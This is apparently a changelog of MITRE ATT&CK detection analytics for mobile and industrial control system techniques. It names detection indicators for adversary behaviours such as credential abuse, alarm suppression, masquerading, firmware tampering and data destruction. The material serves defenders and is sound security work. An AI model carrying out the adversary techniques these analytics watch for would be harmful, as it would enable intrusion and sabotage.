[AN1811] Analytic 1811

Current version: 1.0

Description:

Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1812] Analytic 1812

Current version: 1.0

Description:

Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. +The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service should be scrutinized further for malicious behavior.


[AN1813] Analytic 1813

Current version: 1.0

Description:

Exfiltration Over Alternative Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1814] Analytic 1814

Current version: 1.0

Description:

Exfiltration Over Alternative Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1815] Analytic 1815

Current version: 1.0

Description:

Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1816] Analytic 1816

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block bidirectional command and control traffic.


[AN1817] Analytic 1817

Current version: 1.0

Description:

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block bidirectional command and control traffic.


[AN1818] Analytic 1818

Current version: 1.0

Description:

Exfiltration Over Unencrypted Non-C2 Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1819] Analytic 1819

Current version: 1.0

Description:

Exfiltration Over Unencrypted Non-C2 Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1820] Analytic 1820

Current version: 1.0

Description:

Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.


[AN1821] Analytic 1821

Current version: 1.0

Description:

Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.


[AN1822] Analytic 1822

Current version: 1.0

Description:

The user can review available call logs for irregularities, such as missing or unrecognized calls. +The user can view their default phone app in device settings.


[AN1823] Analytic 1823

Current version: 1.0

Description:

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.


[AN1824] Analytic 1824

Current version: 1.0

Description:

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.


[AN1825] Analytic 1825

Current version: 1.0

Description:

The user can view and manage installed third-party keyboards. +Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.


[AN1826] Analytic 1826

Current version: 1.0

Description:

The user can view and manage installed third-party keyboards. +Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.


[AN1827] Analytic 1827

Current version: 1.0

Description:

Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. +Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.


[AN1828] Analytic 1828

Current version: 1.0

Description:

Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. +Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.


[AN1829] Analytic 1829

Current version: 1.0

Description:

Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1830] Analytic 1830

Current version: 1.0

Description:

Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1831] Analytic 1831

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1832] Analytic 1832

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1833] Analytic 1833

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1834] Analytic 1834

Current version: 1.0

Description:

Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.


[AN1835] Analytic 1835

Current version: 1.0

Description:

Mobile security products can use attestation to detect compromised devices.


[AN1836] Analytic 1836

Current version: 1.0

Description:

Mobile security products can use attestation to detect compromised devices.


[AN1837] Analytic 1837

Current version: 1.0

Description:

Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.


[AN1838] Analytic 1838

Current version: 1.0

Description:

Application vetting services could detect applications trying to modify files in protected parts of the operating system. +Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.


[AN1839] Analytic 1839

Current version: 1.0

Description:

Application vetting services could detect applications trying to modify files in protected parts of the operating system. +Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.


[AN1840] Analytic 1840

Current version: 1.0

Description:

Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1841] Analytic 1841

Current version: 1.0

Description:

Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1842] Analytic 1842

Current version: 1.0

Description:

The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s icon, they should inspect the application to ensure it is genuine. +Application vetting services could potentially detect the usage of APIs intended for suppressing the application’s icon.


[AN1843] Analytic 1843

Current version: 1.0

Description:

Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.


[AN1844] Analytic 1844

Current version: 1.0

Description:

Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.


[AN1845] Analytic 1845

Current version: 1.0

Description:

The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.


[AN1846] Analytic 1846

Current version: 1.0

Description:

The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.


[AN1847] Analytic 1847

Current version: 1.0

Description:

This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.


[AN1848] Analytic 1848

Current version: 1.0

Description:

Application vetting services could look for connections to unknown domains or IP addresses. +Application vetting services may indicate precisely what content was requested during application execution.


[AN1849] Analytic 1849

Current version: 1.0

Description:

Application vetting services could look for connections to unknown domains or IP addresses. +Application vetting services may indicate precisely what content was requested during application execution.


[AN1850] Analytic 1850

Current version: 1.0

Description:

Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.


[AN1851] Analytic 1851

Current version: 1.0

Description:

Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.


[AN1852] Analytic 1852

Current version: 1.0

Description:

Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.


[AN1853] Analytic 1853

Current version: 1.0

Description:

Application vetting services can detect malicious code in applications. +System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.


[AN1854] Analytic 1854

Current version: 1.0

Description:

Application vetting services can detect malicious code in applications. +System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.

ics-attack

New Analytics

[AN1855] Analytic 1855

Current version: 1.0

Description:

Monitor for API calls that can be used to install a hook procedure, such as the SetWindowsHookEx and SetWinEventHook functions.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.


[AN1856] Analytic 1856

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for application logging, messaging, and/or other artifacts that may result from Denial of Service (DoS) attacks which degrade or block the availability of services to users. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. +Monitor operational data for indicators of temporary data loss which may indicate a Denial of Service. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.


[AN1857] Analytic 1857

Current version: 1.0

Description:

Monitor for an authentication attempt by a user that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. +Monitor for logon behavior that may abuse credentials of existing accounts as a means of gaining Lateral Movement or Persistence. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.


[AN1858] Analytic 1858

Current version: 1.0

Description:

Monitor for newly constructed services/daemons that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for changes made to files outside of an update or patch that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for file names that are mismatched between the file name on disk and that of the binary's metadata. This is a likely indicator that a binary was renamed after it was compiled. For added context on adversary procedures and background see Masquerading and applicable sub-techniques. +Monitor executed commands and arguments that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.(Citation: Twitter ItsReallyNick Masquerading Update) +Monitor for changes made to scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for changes made to services that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Collect file hashes. Monitor for file names that do not match their expected hash. Perform file monitoring. Files with known names but in unusual locations are suspect. Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE". For added context on adversary procedures and background see Masquerading and applicable sub-techniques. +Monitor for newly constructed scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.


[AN1859] Analytic 1859

Current version: 1.0

Description:

Monitor login sessions for new or unexpected devices or sessions on wireless networks. +Monitor application logs for new or unexpected devices or sessions on wireless networks. +New or irregular network traffic flows may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.


[AN1860] Analytic 1860

Current version: 1.0

Description:

Monitor ICS automation network protocols for functions related to reading an operational process state (e.g., “Read” function codes in protocols like DNP3 or Modbus). In some cases, there may be multiple ways to monitor an operational process’ state, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways. +Monitor applications logs for any access attempts to operational databases (e.g., historians) or other sources of operational data within the ICS environment. These devices should be monitored for adversary collection using techniques relevant to the underlying technologies (e.g., Windows, Linux).


[AN1861] Analytic 1861

Current version: 1.0

Description:

Monitor for loss of network traffic which could indicate alarms are being suppressed. A loss of expected communications associated with network protocols used to communicate alarm events or process data could indicate this technique is being used. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of operational process data which could indicate alarms are being suppressed. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of expected device alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of expected operational process alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.


[AN1862] Analytic 1862

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1863] Analytic 1863

Current version: 1.0

Description:

Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures.


[AN1864] Analytic 1864

Current version: 1.0

Description:

Monitor for firmware changes which may be observable via operational alarms from devices. +Monitor device application logs for firmware changes, although not all devices will produce such logs. +Monitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) +Monitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes.


[AN1865] Analytic 1865

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1866] Analytic 1866

Current version: 1.0

Description:

Monitor for newly executed processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. +Monitor for newly constructed files copied to or from removable media. +Monitor for newly constructed drive letters or mount points to removable media. +Monitor for files accessed on removable media, particularly those with executable content.


[AN1867] Analytic 1867

Current version: 1.0

Description:

Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible, to determine their actions and intent. +Monitor executed commands and arguments for actions that could be taken to collect internal data. +Monitor for unexpected files (e.g., .pdf, .docx, .jpg) viewed for collecting internal data. +Monitor for information collection on assets that may indicate deviations from standard operational tools. Examples include unexpected industrial automation protocol functions, new high volume communication sessions, or broad collection across many hosts within the network.


[AN1868] Analytic 1868

Current version: 1.0

Description:

Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. +Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. +Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. +Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (e.g., JScript.dll, vbscript.dll). +Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.


[AN1869] Analytic 1869

Current version: 1.0

Description:

Analyze network data for uncommon data flows (e.g., new protocols in use between hosts, unexpected ports in use). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for mismatches between protocols and their expected ports (e.g., non-HTTP traffic on tcp:80). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)


[AN1870] Analytic 1870

Current version: 1.0

Description:

Monitor operational process data for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Some asset application logs may provide information on I/O points related to write commands. Monitor for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times. +Monitor network traffic for ICS functions related to write commands for an excessive number of I/O points or manipulating a single value an excessive number of times.


[AN1871] Analytic 1871

Current version: 1.0

Description:

Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.


[AN1872] Analytic 1872

Current version: 1.0

Description:

Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. +Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe , especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data. +Monitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols. +Monitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM). For added context on adversary enterprise procedures and background see Remote System Discovery.


[AN1873] Analytic 1873

Current version: 1.0

Description:

Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation. +Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.


[AN1874] Analytic 1874

Current version: 1.0

Description:

Monitor asset application logs for information that indicate task parameters have changed. +Monitor device alarms that indicate controller task parameters have changed, although not all devices produce such alarms.

+

Program Download may be used to enable this technique. Monitor for program downloads which may be noticeable via operational alarms. Asset management systems should be consulted to understand expected program versions. +Engineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs and tasks. Data from these platforms can be used to identify modified controller tasking.


[AN1875] Analytic 1875

Current version: 1.0

Description:

Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.


[AN1876] Analytic 1876

Current version: 1.0

Description:

Purely passive network sniffing cannot be detected effectively. In cases where the adversary interacts with the wireless network (e.g., joining a Wi-Fi network) detection may be possible. Monitor for new or irregular network traffic flows which may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.


[AN1877] Analytic 1877

Current version: 1.0

Description:

Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) may be helpful in identifying transient assets. +Networking devices such as switches may log when new client devices connect (e.g., SNMP notifications). Monitor for any logs documenting changes to network connection status to determine when a new connection has occurred, including the resulting addresses (e.g., IP, MAC) of devices on that network.


[AN1878] Analytic 1878

Current version: 1.0

Description:

Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as Server Message Block (SMB). +Monitor for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. +Monitor for file creation in conjunction with other techniques (e.g., file transfers using Remote Services). +Monitor for unusual processes with internal network connections creating files on-system which may be suspicious. +Monitor executed commands and arguments for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. +Monitor newly constructed processes that assist in lateral tool transfers, such as file transfer programs. +Monitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.


[AN1879] Analytic 1879

Current version: 1.0

Description:

Various techniques enable spoofing a reporting message. Consider monitoring for Rogue Master and Adversary-in-the-Middle activity which may precede this technique. +Monitor asset logs for alarms or other information the adversary is unable to directly suppress. Relevant alarms include those from a loss of communications due to Adversary-in-the-Middle activity. +Various techniques enable spoofing a reporting message. Monitor for LLMNR/NBT-NS poisoning via new services/daemons which may be used to enable this technique. For added context on adversary procedures and background see LLMNR/NBT-NS Poisoning and SMB Relay. +Spoofed reporting messages may be detected by reviewing the content of automation protocols, either through detecting based on expected values or comparing to other out of band process data sources. Spoofed messages may not precisely match legitimate messages which may lead to malformed traffic, although traffic may be malformed for many benign reasons. Monitor reporting messages for changes in how they are constructed.

+

Various techniques enable spoofing a reporting message. Consider monitoring for Rogue Master and Adversary-in-the-Middle activity.


[AN1880] Analytic 1880

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1881] Analytic 1881

Current version: 1.0

Description:

Monitor for unexpected/abnormal access to files that may be malicious collection of local data, such as user files (e.g., .pdf, .docx, .jpg, .dwg ) or local databases. +Monitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data. +Monitor for any suspicious attempts to enable scripts running on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. +Monitor for API calls that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data. +Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.


[AN1882] Analytic 1882

Current version: 1.0

Description:

Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for API calls that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for changes made to Windows Registry keys or values that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see Indicator Removal and applicable sub-techniques. +Monitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor Windows registry keys that may be deleted or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see Indicator Removal and applicable sub-techniques. +Monitor for a file that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for changes made to a file may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for newly executed processes that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.


[AN1883] Analytic 1883

Current version: 1.0

Description:

Monitor executed commands and arguments that may attempt to take screen captures of the desktop to gather information over the course of an operation. +Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) The data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.


[AN1884] Analytic 1884

Current version: 1.0

Description:

Monitor device alarms for program downloads, although not all devices produce such alarms. +Monitor for protocol functions related to program download or modification. Program downloads may be observable in ICS automation protocols and remote management protocols. +Consult asset management systems to understand expected program versions. +Monitor devices configuration logs which may contain alerts that indicate whether a program download has occurred. Devices may maintain application logs that indicate whether a full program download, online edit, or program append function has occurred.


[AN1885] Analytic 1885

Current version: 1.0

Description:

Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.


[AN1886] Analytic 1886

Current version: 1.0

Description:

Monitor for newly constructed logon behavior within Microsoft's SharePoint can be configured to report access to certain pages and documents.(Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource.(Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter.(Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. +In the case of detecting collection from shared network drives monitor for unexpected and abnormal accesses to network shares. +Monitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. Information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.


[AN1887] Analytic 1887

Current version: 1.0

Description:

Monitor ICS management protocols for functions that change an asset’s operating mode. +Monitor device application logs which may contain information related to operating mode changes, although not all devices produce such logs. +Monitor alarms for information about when an operating mode is changed, although not all devices produce such logs.


[AN1888] Analytic 1888

Current version: 1.0

Description:

Monitor network traffic for default credential use in protocols that allow unencrypted authentication. +Monitor logon sessions for default credential use.


[AN1889] Analytic 1889

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1890] Analytic 1890

Current version: 1.0

Description:

Monitor for changes made to a large quantity of files for unexpected modifications in both user directories and directories used to store programs and OS components (e.g., C:\Windows\System32). +Monitor for newly executed processes of binaries that could be involved in data destruction activity, such as SDelete. +Monitor for unexpected deletion of files. +Monitor executed commands and arguments for binaries that could be involved in data destruction activity, such as SDelete.


[AN1891] Analytic 1891

Current version: 1.0

Description:

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor for known proxy protocols (e.g., SOCKS, Tor, peer-to-peer protocols) and tool usage (e.g., Squid, peer-to-peer software) on the network that are not part of normal operations. Also monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.


[AN1892] Analytic 1892

Current version: 1.0

Description:

On Windows and Unix systems monitor executed commands and arguments that may use shell commands for execution. Shells may be common on administrator, developer, or power user systems depending on job function.

+

On network device and embedded system CLIs consider reviewing command history if unauthorized or suspicious commands were used to modify device configuration. +Monitor logs from installed applications (e.g., historian logs) for unexpected commands or abuse of system features. +Monitor for processes spawning from known command shell applications (e.g., PowerShell, Bash). Benign activity will need to be allow-listed. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.


[AN1893] Analytic 1893

Current version: 1.0

Description:

Program uploads may be observable in ICS management protocols or file transfer protocols. Note when protocol functions related to program uploads occur. In cases where the ICS protocols is not well understood, one option is to examine network traffic for the program files themselves using signature-based tools. +Monitor device communication patterns to identify irregular bulk transfers of data between the embedded ICS asset and other nodes within the network. Note these indicators are dependent on the profile of normal operations and the capabilities of the industrial automation protocols involved (e.g., partial program uploads). +Monitor for device alarms produced when program uploads occur, although not all devices will produce such alarms.


[AN1894] Analytic 1894

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1895] Analytic 1895

Current version: 1.0

Description:

No standard detection method currently exists for this technique.


[AN1896] Analytic 1896

Current version: 1.0

Description:

Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of "0" indicates LLMNR is disabled. +Host-based implementations of this technique may utilize networking-based system calls or network utility commands (e.g., iptables) to locally intercept traffic. Monitor for relevant process creation events. +Monitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware. For added context on adversary procedures and background see Adversary-in-the-Middle and applicable sub-techniques. +Monitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045. +Monitor network traffic for anomalies associated with known AiTM behavior. For Collection activity where transmitted data is not manipulated, anomalies may be present in network management protocols (e.g., ARP, DHCP). +Monitor application logs for changes to settings and other events associated with network protocols and other services commonly abused for AiTM.


[AN1897] Analytic 1897

Current version: 1.0

Description:

Monitor for changes made to files that may stop or disable services on a system to render those services unavailable to legitimate users. +Monitor executed commands and arguments that may stop or disable services on a system to render those services unavailable to legitimate users. +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting. For added context on adversary procedures and background see Service Stop. +Monitor processes and command-line arguments to see if critical processes are terminated or stop running. For added context on adversary procedures and background see Service Stop. +Alterations to the service binary path or the service startup type changed to disabled may be suspicious. +Monitor for changes made to Windows registry keys and/or values that may stop or disable services on a system to render those services unavailable to legitimate users. +Monitor for newly executed processes that may stop or disable services on a system to render those services unavailable to legitimate users.


[AN1898] Analytic 1898

Current version: 1.0

Description:

